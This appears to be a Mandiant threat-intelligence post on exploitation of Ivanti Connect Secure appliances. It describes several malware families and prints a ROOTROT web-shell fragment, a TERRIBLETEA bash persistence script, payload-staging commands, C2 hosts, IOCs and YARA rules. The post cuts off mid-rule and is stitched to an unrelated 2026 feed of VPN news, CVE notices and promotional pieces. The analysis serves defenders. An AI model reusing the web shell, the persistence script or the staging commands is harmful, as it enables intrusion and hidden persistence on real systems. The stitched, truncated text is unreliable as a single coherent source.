Written by: Matt Lin, Austin Larsen, John Wolfram, Ashley Pearson, Josh Murchie, Lukasz Lamparski, Joseph Pisano, Ryan Hall, Ron Craft, Shawn Chew, Billy Wong, Tyler McLellan Since the initial disclosure of CVE-2023-46805 and CVE-2024-21887 on Jan. 10, 2024, Mandiant has conducted multiple incident response engagements across a range of industry verticals and geographic regions. Mandiant's previous blog post, Cutting Edge, Part 3: Investigating Ivanti Connect Secure VPN Exploitation and Persistence Attempts, details zero-day exploitation of CVE-2024-21893 and CVE-2024-21887 by a suspected China-nexus espionage actor that Mandiant tracks as UNC5325. This blog post, as well as our previous reports detailing Ivanti exploitation, help to underscore the different types of activity that Mandiant has observed on vulnerable Ivanti Connect Secure appliances that were unpatched or did not have the appropriate mitigation applied. Mandiant has observed different types of post-exploitation activity across our incident response engagements, including lateral movement supported by the deployment of open-source tooling and custom malware families. In addition, we've seen these suspected China-nexus actors evolve their understanding of Ivanti Connect Secure by abusing appliance-specific functionality to achieve their objectives. As of April 3, 2024, a patch is readily available for every supported version of Ivanti Connect Secure affected by the vulnerabilities. We recommend that customers follow Ivanti's latest patching guidance and instructions to prevent further exploitation activity. In addition, Ivanti released a new enhanced external integrity checker tool (ICT) to detect potential attempts of malware persistence across factory resets and system upgrades and other tactics, techniques, and procedures (TTPs) observed in the wild. We also released a remediation and hardening guide, which includes recommendations. Mandiant recommends customers run both the internal and the latest external ICT released alongside a new patch on April 3, 2024, as part of a comprehensive defense-in-depth strategy. Mandiant would like to acknowledge Ivanti for their collaboration, transparency, and ongoing support throughout this process. Clustering and Attribution Mandiant is tracking multiple clusters of activity exploiting CVE-2023-46805, CVE-2024-21887, and CVE-2024-21893 across our incident response investigations. In addition to suspected China-nexus espionage groups, Mandiant has also identified financially motivated actors exploiting CVE-2023-46805 and CVE-2024-21887, likely to enable operations such as crypto-mining. Since the public disclosure on Jan. 10, 2024, Mandiant has observed eight distinct clusters involved in the exploitation of one or more of these Ivanti CVEs. Of these, we are highlighting five China-nexus clusters that have conducted intrusions. In February 2024, Mandiant identified a cluster of activity tracked as UNC5291, which we assess with medium confidence to be Volt Typhoon, targeting U.S. energy and defense sectors. The UNC5291 campaign targeted Citrix Netscaler ADC in December 2023 and probed Ivanti Connect Secure appliances in mid-January 2024, however Mandiant has not directly observed Volt Typhoon successfully compromise Ivanti Connect Secure. UNC5221 UNC5221 is a suspected China-nexus actor that Mandiant is tracking as the only group exploiting CVE-2023-46805 and CVE-2024-21887 during the pre-disclosure time frame since early Dec. 2023. As stated in our previous blog post, UNC5221 also conducted widespread exploitation of CVE-2023-46805 and CVE-2024-21887 following the public disclosure on Jan. 10, 2024. UNC5266 Mandiant created UNC5266 to track post-disclosure exploitation leading to deployment of Bishop Fox's SLIVER implant framework, a WARPWIRE variant, and a new malware family that Mandiant has named TERRIBLETEA. At this time, based on observed infrastructure usage similarities, Mandiant suspects with moderate confidence that UNC5266 overlaps in part with UNC3569, a China-nexus espionage actor that has been observed exploiting vulnerabilities in Aspera Faspex, Microsoft Exchange, and Oracle Web Applications Desktop Integrator, among others, to gain initial access to target environments. UNC5330 UNC5330 is a suspected China-nexus espionage actor. UNC5330 has been observed chaining CVE-2024-21893 and CVE-2024-21887 to compromise Ivanti Connect Secure VPN appliances as early as Feb. 2024. Post-compromise activity by UNC5330 includes deployment of PHANTOMNET and TONERJAM. UNC5330 has employed Windows Management Instrumentation (WMI) to perform reconnaissance, move laterally, manipulate registry entries, and establish persistence. Mandiant observed UNC5330 operating a server since Dec. 6, 2021, which the group used as a GOST proxy to help facilitate malicious tool deployment to endpoints. The default certificate for GOST proxy was observed from Sept. 1, 2022 through Jan. 1, 2024. UNC5330 also attempted to download Fast Reverse Proxy (FRP) from this server on Feb. 3, 2024, from a compromised Ivanti Connect Secure device. Given the SSH key reuse in conjunction with the temporal proximity of these events, Mandiant assesses with moderate confidence UNC5330 has been operating through this server since at least 2021. UNC5337 UNC5337 is a suspected China-nexus espionage actor that compromised Ivanti Connect Secure VPN appliances as early as Jan. 2024. UNC5337 is suspected to exploit CVE-2023-46805 (authentication bypass) and CVE-2024-21887 (command injection) for infecting Ivanti Connect Secure appliances. UNC5337 leveraged multiple custom malware families including the SPAWNSNAIL passive backdoor, SPAWNMOLE tunneler, SPAWNANT installer, and SPAWNSLOTH log tampering utility. Mandiant suspects with medium confidence that UNC5337 is UNC5221. UNC5291 UNC5291 is a cluster of targeted probing activity that we assess with moderate confidence is associated with UNC3236, also known publicly as Volt Typhoon. Activity for this cluster started in December 2023 focusing on Citrix Netscaler ADC and then shifted to focus on Ivanti Connect Secure devices after details were made public in mid-Jan. 2024. Probing has been observed against the academic, energy, defense, and health sectors, which aligns with past Volt Typhoon interest in critical infrastructure. In Feb. 2024, the Cybersecurity and Infrastructure Security Agency (CISA) released an advisory warning that Volt Typhoon was targeting critical infrastructure and was potentially interested in Ivanti Connect Secure devices for initial access. New TTPs and Malware Since our last blog on Ivanti exploitation, Mandiant has identified additional TTPs used by threat actors to gain access to target environments and move laterally within them. Additionally, Mandiant has identified several new code families leveraged by threat actors following the exploitation of Ivanti Connect Secure appliances. Of these code families, several are assessed to be custom malware families; however, Mandiant has also identified the use of open-source tooling, such as SLIVER and CrackMapExec. SPAWN Malware Family During analysis of an Ivanti Connect Secure appliance compromised by UNC5221, Mandiant discovered four distinct malware families that work closely together to create a stealthy and persistent backdoor on an infected appliance. Mandiant assesses that these malware families are designed to enable long-term access and avoid detection. Figure 1 illustrates how the SPAWN malware family operates. Figure 1: SPAWN malware family diagram SPAWNANT SPAWNANT is an installer that leverages a coreboot installer function to establish persistence for the SPAWNMOLE tunneler and SPAWNSNAIL backdoor. It hijacks a legitimate dspkginstall installer process and exports an sprintf function adding a malicious code to it before redirecting a flow back to vsnprintf. SPAWNMOLE SPAWNMOLE is a tunneler that injects into the web process. It hijacks the accept function in the web process to monitor traffic and filter out malicious traffic originating from the attacker. The remainder of the benign traffic is passed unmodified to the legitimate web server functions. The malicious traffic is tunneled to a host provided by an attacker in the buffer. Mandiant assesses the attacker would most likely pass a local port where SPAWNSNAIL is operating to access the backdoor. The malware attempts to inject itself into a process named web. The malware attempts to hijack the accept API from the libc binary within web process. The malware is specifically compiled as a PIE (Position Independent Executable) in order to use a third-party library for injection. The malware traffic must start with a header that contains 0xfb49e3e2 at offset 0x13 and 0x1bc38361 at offset 0x1b of the received buffer. SPAWNSNAIL SPAWNSNAIL (libdsmeeting.so) is a backdoor that listens on localhost. It is designed to run by injecting into the dsmdm process (process responsible for supporting mobile device management features). It creates a backdoor by exposing a limited SSH server on localhost port 8300. We assess that the attacker uses the SPAWNMOLE tunneler to interact with SPAWNSNAIL. SPAWNSNAIL's second purpose is to inject SPAWNSLOTH (.liblogblock.so) into dslogserver, a process supporting event logging on Connect Secure. SPAWNSNAIL checks if its binary name is dsmdm; if it is running under that name, it creates two threads: First thread drops a hard-coded SSH host private key to /tmp/.dskey, configures libssh to use the key, and then deletes /tmp/.dskey. The malware binds to localhost on port 8300. The SSH server requires public key authentication. When starting an interactive shell session, the malware prints a banner with statistics about the system. It will print the information about the release, uptime, current time, and whether SELinux is enabled. SPAWNSNAIL then executes an interactive bash shell. The second thread injects a log tampering utility, SPAWNSLOTH (/tmp/.liblogblock.so), into the dslogserver process up to three times. SPAWNSLOTH SPAWNSLOTH is a log tampering utility injected into the dslogserver process. It can disable logging and disable log forwarding to an external syslog server when the SPAWNSNAIL backdoor is operating. SPAWNSLOTH uses funchook to hook the _ZN5DSLog4File3addEPKci function (it is assumed to be a logging function of dslogserver). It also modifies the g_do_syslog_servers_exist_p symbol. This is a pointer to a global variable controlling if event logs should be forwarded to an external syslog server. Finally, it uses interprocess communication via shared memory to communicate with the SPAWNSNAIL backdoor. SPAWNSLOTH only blocks logging when SPAWNSNAIL is running. Getting to the Root of It During the investigation of an Ivanti Connect Secure appliance compromised by UNC5221, Mandiant identified a new web shell we are tracking as ROOTROT. ROOTROT is a web shell written in Perl embedded into a legitimate Connect Secure .ttc file located at /data/runtime/tmp/tt/setcookie.thtml.ttc by exploiting CVE-2023-46805 and CVE-2024-21887. setcookie.thtml.ttc is located on a writable partition on the appliance, and the same file was abused in previous Pulse Connect Secure exploitation events involving CVE-2019-11539 and CVE-2020-8218. Figure 2 shows the code inserted into the setcookie.thmtl.ttc file that contains ROOTROT. The web shell can be accessed at /dana-na/auth/setcookie.cgi. It parses the issued decoded Base64-encoded command and executes it with eval. $output .= "\n\n\n"; $output .= "\n"; } }; if ($@) { $error = $context->catch($@, \$output); die $error unless $error->type eq 'return'; } return $output; }, Figure 2: Code block inserted into the setcookie.thtml.ttc file During the investigation, Mandiant identified that the web shell was created on the system prior to the public disclosure of the associated CVEs on Jan. 10, 2024, indicating a more targeted attack. Defenders can detect the presence of ROOTROT by the existence of \n at the end of the response from /dana-na/auth/setcookie.cgi. As of April 3, 2024, the latest external ICT will detect modifications to setcookie.thtml.ttc. Lateral Movement Leading to vCenter Compromise Once UNC5221 deployed ROOTROT on a Connect Secure appliance and established a foothold, they initiated network reconnaissance against the victim's network and moved laterally to a VMware vCenter server. Mandiant identified that UNC5221 first moved laterally using the vCenter web console, then later using SSH. After moving laterally to the vCenter server, UNC5221 created a new virtual machine three times in vCenter, utilizing a naming convention consistent with other servers in the environment. Though the virtual machine creation was successful, Mandiant did not identify evidence of UNC5221 successfully running or using the virtual machine. Following this, UNC5221 accessed the vCenter appliance using SSH and downloaded the BRICKSTORM backdoor to the appliance (/home/vsphere-ui/vcli). Notably, BRICKSTORM appears to masquerade as a legitimate vCenter process, vami-http. BRICKSTORM BRICKSTORM is a Go backdoor targeting VMware vCenter servers. It supports the ability to set itself up as a web server, perform file system and directory manipulation, perform file operations such as upload/download, run shell commands, and perform SOCKS relaying. BRICKSTORM communicates over WebSockets to a hard-coded C2. Upon execution, BRICKSTORM checks for an environment variable, WRITE_LOG, to determine if the file needs to be executed as a child process. If the variable returns false or is unset, it will copy the BRICKSTORM sample from /home/vsphere-ui/vcli to /opt/vmware/sbin as vami-httpd. It will then execute the copied BRICKSTORM sample and terminate execution. If WRITE_LOG is set to true, it assumes it is running as the correct process, deletes /opt/vmware/sbin/vami-httpd, and continues execution. BRICKSTORM contains a separate function called Watcher, which contains self-monitoring functionality. If the environment variable WORKER returns false or is unset, it will continue the monitoring, checking for the file /home/vsphere-ui/vcli and copying the contents over to /opt/vmware/sbin/vami-httpd. Then, it sets the appropriate environment variables and spawns the process. The watcher process then begins monitoring the exit status of the child process. If it finds the environment variable WORKER is set to true, it assumes it is a spawned worker process meant to execute the backdoor functionality and skips the remainder of the Watcher function. BRICKSTORM communicates with the C2 using WebSockets. This sample contains a hard-coded WebSocket address of wss://opra1.oprawh.workers[.]dev. Additionally, it contains the following legitimate DNS over HTTPS (DoH) addresses. https://9.9.9.9/dns-query https://45.90.28.160/dns-query https://45.90.30.160/dns-query https://149.112.112.112/dns-query https://9.9.9.11/dns-query https://1.1.1.1/dns-query https://1.0.0.1/dns-query https://8.8.8.8/dns-query https://8.8.4.4/dns-query Figure 3: DNS over HTTPS addresses BRICKSTORM appears to leverage a custom Go package called wssoft. There is no known, publicly available Go package with this name. It appears this may be the main package developed by the malware authors to perform task processing and connection handling for the malware. Table 1 provides the four core functions provided by wssoft. Function Comments Spawning a web server See below for accepted routes/endpoints Command execution Executes shell commands using /bin/sh Command execution (“NoContext”) Executes shell commands using calls to os. Exec likely accepts commands run_shell and exit SOCKS relaying Connection proxying Table 1: wssoft capabilities When the backdoor functionality is activated, it spawns a web server to handle incoming commands. It uses Gorilla/mux to handle the endpoint routing and lonnng/nex to marshal the data into JSON. Table 2 provides the endpoints used for communications to the BRICKSTORM backdoor via POST requests. Endpoint Function /api/file/change-dir Change directory /api/file/delete-dir Deletes a directory /api/file/delete-file Deletes a file /api/file/mkdir Makes a directory (create subdirectories as necessary) /api/file/list-dir Lists directory contents /api/file/rename Renames a file /api/file/put-file File upload given a destination path, can optionally append to file /api/file/get-file File download /api/file/slice-up May upload large files in separate chunks /api/file/file-md5 Calculates file MD5 /api/file/up Uploads a file using a web form (includes SHA256 hashing) /api/file/stat Gets file information Table 2: BRICKSTORM endpoints Lateral Movement Leading to Active Directory Compromise UNC5330 gained initial access to the victim environment by chaining together CVE-2024-21893 and CVE-2024-21887, a tactic outlined in Cutting Edge Part 3. Shortly after gaining access, UNC5330 leveraged an LDAP bind account configured on the compromised Ivanti Connect Secure appliance to abuse a vulnerable Windows Certificate Template, created a computer object, and requested a certificate for a domain administrator. The threat actor then impersonated the domain administrator to perform subsequent DCSyncs to extract additional credential material to move laterally. Attack Path Diagram Figure 4: UNC5330 attack path diagram Windows Certificate Template Abuse UNC5330 used the ldap-ivanti account, configured on the Ivanti appliance for LDAP bind operations, to create a domain computer object, testComputer$. UNC5330 used the newly created testComputer$ computer object to request a certificate from a vulnerable certificate template that provided enrollment rights to Domain Computers. UNC5330 requested a certificate for a domain administrator account, obtained a Kerberos TGT using the certificate, and performed DCSync attacks to obtain additional domain credentials for enabling lateral movement. Once domain admin access was achieved, UNC5330 leveraged WMI to deploy the TONERJAM launcher and the PHANTOMNET backdoor. WMI Event Consumers WMI was used to perform lateral movement and establish persistence within the victim environment, primarily by creating and executing scheduled tasks that were subsequently removed. The ActiveScript event consumers performed the following: Created and registered a scheduled task with trigger type 7 (started the task upon registration) to execute command with cmd.exe. Wrote command output to a .log file in C:\Windows\Temp. Deleted the scheduled task. The behavior, as well as the naming convention used for both the WMI artifacts and output files, is consistent with a recent version of CrackMapExec that implements DCE/RPC for WMI execution that does not rely on SMB. Mandiant observed this technique being used to deploy TONERJAM and PHANTOMNET. TONERJAM TONERJAM is a launcher that decrypts and executes a shellcode payload, in this case PHANTOMNET, stored as an encrypted local file and decrypts it using an AES key derived from a SHA hash of the final 16 bytes of the encrypted payload. TONERJAM maintains persistence via the Run registry key or by hijacking COM objects depending on the permissions granted to it upon execution. PHANTOMNET PHANTOMNET is a modular backdoor that communicates using a custom communication protocol over TCP. PHANTOMNET's core functionality involves expanding its capabilities through a plugin management system. The downloaded plugins are mapped directly into memory and executed. SLIVER C2 During a separate intrusion, UNC5266 retrieved copies of SLIVER from a Python SimpleHTTP server hosted on the same IP address as the configured command-and-control server. The copies of SLIVER were placed in three separate locations on the compromised appliance, attempting to masquerade as legitimate system files. UNC5266 modified a systemd service file to register one of the copies of SLIVER as a persistent daemon. Path Description /home/bin/netmon SLIVER /home/bin/logd SLIVER /home/runtime/logd SLIVER /home/config/logd.spec.cfg systemd service unit configuration file Table 3: SLIVER components Additionally, UNC5266 leveraged a WARPWIRE variant previously reported in Cutting Edge, Part 2. This variant was downloaded by UNC5266 from what Mandiant believes to be a compromised web server located in Rwanda. See Figure 18 in the Cutting Edge Part 2 blog for details on the WARPWIRE variant. TERRIBLETEA At a separate intrusion, UNC5266 used the same WARPWIRE sample as used in their SLIVER operation. However, instead of SLIVER, UNC5266 deployed a Go backdoor that Mandiant has named TERRIBLETEA. During this intrusion, the actor attempted to use curl to download the backdoor; however, logs suggest these attempts failed. Seven minutes after their last failed curl attempt, UNC5266 ran a wget request to an anonymous file sharing site: pan.xj.hk. UNC5266 likely uploaded TERRIBLETEA to the file-sharing site in the intervening seven minutes. TERRIBLETEA is a Go backdoor that communicates over HTTP using XXTEA for encrypted communications. It is built using multiple open-source Go modules and has a multitude of capabilities including: Command execution Keystroke logging SOCKS5 proxy Port scanning File system interaction SQL query execution Screen captures Ability to open a new SSH session, execute commands, and upload files to a remote server. The following commands may be executed: chmod +x /tmp/.udevd /tmp/.udevd ls -lahrt /home/ TERRIBLETEA can take different execution paths depending on what environment it is configured for, either linux_amd64 or darwin_amd64. In this instance, TERRIBLETEA is configured for the linux_amd64 environment. The sample persists with a Bash profile script located at /etc/profile.d/cron.sh for persistence. # Initialization script for bash and sh # export AFS if you are in AFS environment a=`ps -fe|grep /bin/cron |grep -v grep|wc|awk '{print$1}'` if [ "$a" -eq 0 ] then /bin/cron fi Figure 5: TERRIBLETEA Bash profile script Outlook and Implications The activity detailed in this blog, as well as the recently published Cutting Edge, Part 3 highlighting UNC5325 targeting of Ivanti Connect Secure appliances, underscore the threat faced by edge appliances. Mandiant continues to observe China-nexus threat actors aggressively utilizing zero-day and N-day vulnerabilities to enable their operations and target organizations across the globe. Mandiant continues to observe a wide range of TTPs following the successful exploitation of vulnerabilities against edge appliances. As previously reported by Mandiant, China-nexus actors continue to evolve their stealth to avoid detection by defenders. While the use of open--source tooling is somewhat common, Mandiant continues to observe actors leveraging custom malware that is tailored to the appliance or environment the actor is targeting. Indicators of Compromise (IOCs) Host-Based Indicators (HBIs) Filename MD5 Description data.dat 9d684815bc96508b99e6302e253bc292 PHANTOMNET epdevmgr.dll b210a9a9f3587894e5a0f225b3a6519f TONERJAM libdsproxy.so 4f79c70cce4207d0ad57a339a9c7f43c SPAWNMOLE libdsmeeting.so e7d24813535f74187db31d4114f607a1 SPAWNSNAIL .liblogblock.so 4acfc5df7f24c2354384f7449280d9e0 SPAWNSLOTH .dskey 3ef30bc3a7e4f5251d8c6e1d3825612d SPAWNSNAIL private key N/A bb3b286f88728060c80ea65993576ef8 TERRIBLETEA N/A cfca610934b271c26437c4ce891bad00 TERRIBLETEA N/A 08a817e0ae51a7b4a44bc6717143f9c2 TERRIBLETEA linb64.png e7fdbed34f99c05bb5861910ca4cc994 SLIVER lint64.png c251afe252744116219f885980f2caea SLIVER linb64.png 4f68862d3170abd510acd5c500e43548 SLIVER lint64.png 9d0b6276cbc4c8b63c269e1ddc145008 SLIVER logd 71b4368ef2d91d49820c5b91f33179cb SLIVER winb64.png d88bbed726d79124535e8f4d7de5592e SLIVER logd.spec.cfg 846369b3a3d4536008a6e1b92ed09549 SLIVER persistence N/A 8e429d919e7585de33ea9d7bb29bc86b SLIVER downloader N/A fc1a8f73010f401d6e95a42889f99028 PHANTOMNET N/A e72efc0753e6386fbca0a500836a566e PHANTOMNET N/A 4645f2f6800bc654d5fa812237896b00 BRICKSTORM Table 4: Host-based indicators Network-Based Indicators (NBIs) Network Indicator Type Description 8.218.240[.]85 IPv4 Post-exploitation activity 98.142.138[.]21 IPv4 Post-exploitation activity 103.13.28[.]40 IPv4 Post-exploitation activity 103.27.110[.]83 IPv4 Post-exploitation activity 103.73.66[.]37 IPv4 Post-exploitation activity 193.149.129[.]191 IPv4 Post-exploitation activity 206.188.196[.]199 IPv4 Post-exploitation activity oast[.]fun Domain Pre-exploitation validation cpanel.netbar[.]org Domain WARPWIRE Variant C2 server pan.xj[.]hk Domain Post-exploitation activity akapush.us[.]to Domain SLIVER C2 server opra1.oprawh.workers.dev Domain BRICKSTORM C2 server Table 5: Network-based indicators YARA Rules rule M_Hunting_Webshell_ROOTROT_1 { meta: author = "Mandiant" description = "This rule detects ROOTROT, a web shell written in Perl that is embedded into a legitimate Pulse Secure .ttc file to enable arbitrary command execution." md5 = "c7ffd2c06e9b7e8e0b7ac92a0dbe3294" strings: $s1 = "use MIME::Base64" ascii $s2 = {6d 79 20 24 61 72 67 3d 64 65 63 6f 64 65 5f 62 61 73 65 36 34 28 22 24 6b 65 79 22 29} $s3 = {24 6f 75 74 70 75 74 20 2e 3d 20 22 3c 21 2d 2d 5c 6e 22 3b} $s4 = {22 3c 2f 62 6f 64 79 3e 5c 6e 5c 6e 3c 2f 68 74 6d 6c 3e 5c 6e 22} condition: filesize < 4KB and all of them } rule M_Hunting_Backdoor_BRICKSTORM_1 { meta: author = "Mandiant" created = "2024-01-30" md5 = "4645f2f6800bc654d5fa812237896b00" descr = "Hunting rule looking for BRICKSTORM golang backdoor samples" strings: $v1 = "/home/vsphere-ui/vcli" ascii wide $v2 = "/opt/vmware/sbin" ascii wide $v3 = "/opt/vmware/sbin/vami-httpd" ascii wide $s1 = "github.com/gorilla/mux" ascii wide $s2 = "WRITE_LOG=true" ascii wide $s3 = "wssoft" ascii wide condition: uint32(0) == 0x464c457f and filesize < 6MB and 1 of ($v*) and 2 of ($s*) } import "pe" rule M_APT_Backdoor_Win_PHANTOMNET_1 { meta: author = "Mandiant" md5 = "59f4d38a5caafbc94673c6d488bf37e3" strings: $phantomnet = /\\PhantomNet-\w{1,10}\.pdb/ ascii nocase condition: (uint16(0) == 0x5A4D) and (uint32(uint32(0x3C)) == 0x00004550) and all of them } rule M_APT_Backdoor_SLIVER_1 { meta: Author = “Mandiant” description = "Detects Windows, MacOS and ELF variants of the Sliver implant framework" md5 = "5ecd0c38501dfb02b682cec0a2d93aa9" strings: $s1 = ".InvokeSpawnDllReq" $s2 = ".(*InvokeSpawnDllReq).Reset" $s3 = ".(*InvokeSpawnDllReq).ProtoMessage" $s4 = ".(*InvokeSpawnDllReq).ProtoReflect" $s5 = ".(*InvokeSpawnDllReq).Descriptor" $s6 = ".(*InvokeSpawnDllReq).GetData" $s7 = ".(*InvokeSpawnDllReq).GetProcessName" $s8 = ".(*InvokeSpawnDllReq).GetArgs" $s10 = ".(*InvokeSpawnDllReq).GetKill" $s11 = ".(*InvokeSpawnDllReq).GetPPid" $s12 = ".(*InvokeSpawnDllReq).GetProcessArgs" $s13 = ".(*InvokeSpawnDllReq).GetRequest" $s14 = ".(*InvokeSpawnDllReq).String" $s15 = ".(*InvokeSpawnDllReq).GetEntryPoint" condition: ((uint16(0) == 0x5a4d and uint32(uint32(0x3C)) == 0x00004550) or uint32(0) == 0x464c457f or (uint32(0) == 0xBEBAFECA or uint32(0) == 0xFEEDFACE or uint32(0) == 0xFEEDFACF or uint32(0) == 0xCEFAEDFE)) and 5 of ($s*) } rule M_APT_Backdoor_TERRIBLETEA_1 { meta: author = "Mandiant" description = "This rule is designed to detect on events related to terribletea. TERRIBLETEA is a backdoor written in Go that communicates over HTTP. Its many capabilities include shell command execution, capturing screens, keystroke logging, port scanning, enumerating files, starting a SOCKS5 proxy and new SSH session, downloading files, and executing SQL queries." md5 = "bb3b286f88728060c80ea65993576ef8" strings: $code_part_of_getcommand = {48 BA 44 61 74 61 31 73 33 6E [1-12] 80 7B ?? 64} $code_get_task = { 48 8D [5] B9 04 00 00 00 48 8B ?? 24 [4] 48 8D [5] 41 B8 03 00 00 00 E8} $func1 = "SendRequest" fullword $func2 ="UploadResult" $func3 ="Online" $func4 ="GetCommond" condition: all of ($code*) and any of ($func*) and filesize

Aktiv ausgenutzte Sicherheitslücken: Windows, Citrix und VPN sofort patchen - it boltwise

Sat, 06 Jun 2026 10:59:47 +0200

Betroffen sind laut Meldung unterstützte Windows-Server-Versionen von 2012 bis 2025; Microsoft habe hierfür bereits am 12. Mai 2026 ein Update ...

CVE-2026-11406 | GL.iNet MT3000 up to 4.4.5 OpenVPN Client Import Workflow ovpnclient.sh command injection (EUVD-2026-34963)

Sat, 06 Jun 2026 16:49:12 +0200

A vulnerability identified as critical has been detected in GL.iNet MT3000 up to 4.4.5. This vulnerability affects unknown code of the file ovpnclient.sh of the component OpenVPN Client Import Workflow. This manipulation causes command injection. This vulnerability is registered as CVE-2026-11406. Remote exploitation of the attack is possible. Furthermore, an exploit is available. You should upgrade the affected component. The vendor confirms: "This issue has been addressed by implementing malicious checks on OpenVPN configuration files to prevent command injection attacks carried through malicious configuration files."

‘It’s becoming more difficult finding stable VPNs’ – China increases crackdown on VPN usage

Sat, 06 Jun 2026 13:00:00 +0200

People in China have used VPNs to get past the country’s infamous Great Firewall – but Beijing is coming down hard on VPN use

How to Access Blocked Sites in Pakistan Using a VPN

Thu, 04 Jun 2026 16:35:40 +0200

Pakistani Internet users are no strangers to website blocks, but it is possible to bypass government censorship using the encrypting power of a VPN. While the subject is deeply technical, getting started is surprisingly user-friendly, and we’ll be walking you through it all in today’s quick-start guide. You’ll learn about the best VPNs for Pakistan, […] The post How to Access Blocked Sites in Pakistan Using a VPN appeared first on AddictiveTips.

How to Access Blocked Sites in India Using a VPN

Thu, 04 Jun 2026 16:53:11 +0200

India has relatively open Internet policies, but there are still quite a few sites that are blocked to anyone connecting from within the country’s digital borders. However, by encrypting your connection with a VPN, you can sneak past the censors and beat the geoblocks that stop you from accessing your favorite content in India. We […] The post How to Access Blocked Sites in India Using a VPN appeared first on AddictiveTips.

Trust Needs Verification: X-VPN Completed Independent No-Logs Audit

Fri, 05 Jun 2026 19:06:33 +0200

Independent audit helps reinforce that X-VPN’s privacy commitments are supported by operational controls, governance, and data-handling practices. X-VPN’s independent no-logs audit was completed on February 28, 2026, and was conducted by one of the Big Four auditing firms under ISAE 3000 (Revised). Based on the procedures performed within the defined audit scope and applicable review timeframe, the audit result supports that X-VPN does not track, collect, or store data that could identify users or link them to their online activities when using X-VPN. In a category where trust depends on more than policy language alone, that result adds independent assurance that X-VPN’s privacy commitments are supported by how the service is operated in practice. Verification Matters in Privacy Services For privacy services, the real question is not whether a provider makes reassuring claims, but whether those claims can withstand independent scrutiny. That is why independent verification matters. It helps shift the discussion from broad privacy language to examined evidence. In other words, verification gives users a stronger basis for assessing whether a no-logs position is supported in the way a service is actually run. For X-VPN, that distinction is central to the significance of the completed audit. Rather than treating privacy as a matter of policy language alone, the review adds external scrutiny of the operational and governance measures behind the company’s no-logs commitments. Where user trust is tied to the absence of identifiable activity records, that kind of independent assurance carries particular weight. What Have Been Reviewed Under ISAE 3000 (Revised) The engagement focused on X-VPN’s Privacy Policy statements related to user data handling and the corresponding practices behind them. Within that boundary, the review looked at how those privacy commitments are reflected across X-VPN’s official channels and in the way the service is managed in practice. The scope was organized around five areas: X-VPN does not store or record sensitive user information; It limits processing to the minimum user information needed to provide the service; Production servers are managed through a predefined automation system, all code changes are managed through a version-controlled CI/CD pipeline, and Database access is protected using encrypted transmission; The Privacy Policy is maintained to accurately reflect system operations and data processing practices, and the review, update, and publication processes are traceable and verifiable; The Data Protection Officer (“DPO”) Group operates with independence and traceability, providing ongoing oversight over privacy governance aligned with the no-logs principles. Framed this way, the engagement was not limited to the no-logs statement itself. It also covered the supporting processes behind that statement, from server deployment and no-logs configuration consistency to pre-release code review and database access protection. How X-VPN’s No-Logs Position Is Supported in Practice At the core of X-VPN’s no-logs position is the absence of records that could identify users or connect them to online activities. Based on the completed audit, X-VPN does not track, collect, or store user IP addresses, destination IP addresses, websites visited, browsing history, VPN servers used, DNS queries, downloaded content, sensitive payment details, or VPN connection timestamps. That matters because a no-logs policy becomes more meaningful when it is reflected in the categories of data a service is designed not to retain. X-VPN also offers a free version, which follows the same no-logs policy and does not collect or store the categories of activity data listed above. The audit scope also examined how X-VPN limits data processing to what is necessary to provide the service. User information is kept to a minimal set: an email address, an encrypted password, basic billing information limited to an order ID, and order history. No additional personal information is required to create or use an account, and users may register with an alias or disposable email address. At the same time, system monitoring is limited to non-identifying performance metrics, such as CPU usage, memory consumption, and service availability. Together, those practices help show that X-VPN’s no-logs position is supported not only by policy language, but by how data collection is constrained in day-to-day operations. How Users Can Access the Audit Report Users who want to review the audit result can access the report after logging in to their X-VPN account. Providing that path matters because privacy assurance carries more weight when independent verification is not limited to a headline conclusion, but can also be accessed directly by users themselves. Beyond the Audit: A Longer-Term Commitment to Privacy and Security For X-VPN, the completed audit is not intended to stand as a one-time announcement, but as the starting point for a broader program of transparency, recurring review, and continuous improvement. The company plans to treat privacy and security as areas that require ongoing scrutiny rather than periodic messaging, with regular audits and continued updates designed to give users clearer and more verifiable visibility into how its commitments evolve over time. That longer-term approach also means turning common areas of external concern, whether security gaps, trust blind spots, or unanswered questions about privacy practices—into part of an ongoing governance agenda. Rather than responding only at isolated moments, X-VPN aims to address those issues through trackable actions and continued public updates, including regular updates to its Transparency Report on the official website. The broader effort is also reflected in product development and external support for the privacy community. X-VPN has already introduced newer privacy and security features such as post-quantum encryption and Tor over VPN, while also supporting nonprofit organizations focused on internet security and privacy, including EFF and ISOC, through donations and an expressed commitment to continued involvement. Taken together, these efforts position the audit not as an endpoint, but as one part of a longer-term effort to make privacy assurance more transparent, more accountable, and easier to verify. About X-VPN X-VPN is a global privacy and security service operated by LIGHTNINGLINK NETWORKS PTE. LTD., based in Singapore. With over 10,000 servers across 80 countries, X-VPN provides encrypted internet access using AES‑256 encryption, supporting users in protecting data, and maintaining anonymity online. The company enforces a strict no-logs policy, ensuring that no identifiable data is ever stored or shared. Contact Sandra Mitchell sandramitchell@media.xvpn.io

Russian Roskomnadzor accused of launching active DDoS attacks on VPN services — here's what we know so far

Fri, 05 Jun 2026 18:38:20 +0200

Russia's media regulator, Roskomnadzor, has allegedly shifted from blocking VPNs to actively launching DDoS attacks against their infrastructure, leaving services like Amnezia VPN struggling to stay online.

This $1.33 per month VPN is the most customizable option out there — perfect if you're after a secure connection tailored to your exact needs

Fri, 05 Jun 2026 17:36:14 +0200

Boost your digital privacy your own way

Canada’s Bill C-22: Why Signal, Apple, and top VPNs are fighting the 'surveillance' law

Fri, 05 Jun 2026 16:00:18 +0200

Big tech and VPN companies are demanding better protections for encryption as the government agrees to clarify contentious points.

Stay safe & browse the internet freely with 70% off Proton VPN

Fri, 05 Jun 2026 15:57:52 +0200

Virtual Private Networks, or VPNs, are basically a required utility in 2026 if you want to browse the internet without being tracked. Get Proton VPN at up to 70% off a two-year subscription.Proton VPN can keep your browsing habits private. Image source: ProtonIt seems like everyone on the internet is trying to track you. Whether it's data brokers trying to profit off your personal information or your ISP attempting to help build an advertising profile, all eyes are on you when you browse.There is a better option than giving up and living in a cave, and it's called Proton VPN. It lets you connect a VPN to up to ten devices at once for smooth and encrypted access to your apps and websites. Continue Reading on AppleInsider

What is the Best VPN for Streaming

Wed, 03 Jun 2026 15:37:23 +0200

